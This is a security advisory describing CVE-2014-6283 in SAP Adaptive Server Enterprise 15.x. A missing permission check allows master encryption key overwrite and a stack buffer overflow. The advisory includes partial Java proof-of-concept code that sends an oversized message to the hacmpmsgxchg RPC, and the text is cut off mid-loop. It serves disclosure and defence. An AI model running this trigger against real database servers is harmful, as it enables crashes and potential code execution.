Trustwave SpiderLabs Security Advisory TWSL2014-013: Privilege Escalation Vulnerability and Potential Remote Code Execution in SAP Adaptive Server Enterprise Published: 09/12/2014 Version: 1.0 Vendor: SAP (www.sap.com) Product: SAP Adaptive Server Enterprise (ASE) Version affected: 15.0, 15.5, 15.7 Product description: Relational database management system for UNIX, Linux, and Microsoft Windows platforms. Finding 1: Privilege Escalation due to SAP ASE missing authorization check and potential remote code execution Credit: Martin Rakhmanov of Trustwave SpiderLabs CVE: CVE-2014-6283 CWE: CWE-264 SAP ASE does not properly verify permissions on certain built-in functions. One of the functions allows for master encryption key overwrite. Additionally it is susceptible to stack-based buffer overflow resulting in arbitrary code execution in the database server process context. Example for SAP ASE 15.7: /* * Adjust credentials and target host information in the code. * * Compile with: * javac sybase_ase_hacmpmsgxchg.java * Run with (copy jconn4.jar to current directory from Sybase ASE installation): * java -cp jconn4.jar:. sybase_ase_hacmpmsgxchg * * Attach a debugger to the database process to observe stack overflow. */ import java.sql.*; import java.util.Properties; public class sybase_ase_hacmpmsgxchg { private static String rpc_name = "hacmpmsgxchg"; private static int option_id = 129; public static void main(String args[]) throws InstantiationException, ClassNotFoundException, IllegalAccessException, SQLException { Properties props = new Properties(); // Put valid info here props.put("user", "DB_USER"); props.put("password", "DB_PASSWORD"); String url = "jdbc:sybase:Tds:DB_HOST:5000"; Driver sybdriver = (Driver)Class.forName("com.sybase.jdbc4.jdbc.SybDriver").newInstance(); DriverManager.registerDriver(sybdriver); Connection conn = DriverManager.getConnection(url, props); CallableStatement callablestatement = conn.prepareCall((new StringBuilder()).append("{?=call $").append(rpc_name).append("(?, ?)}").toString()); byte[] message = new byte[2048]; for(int i=0;i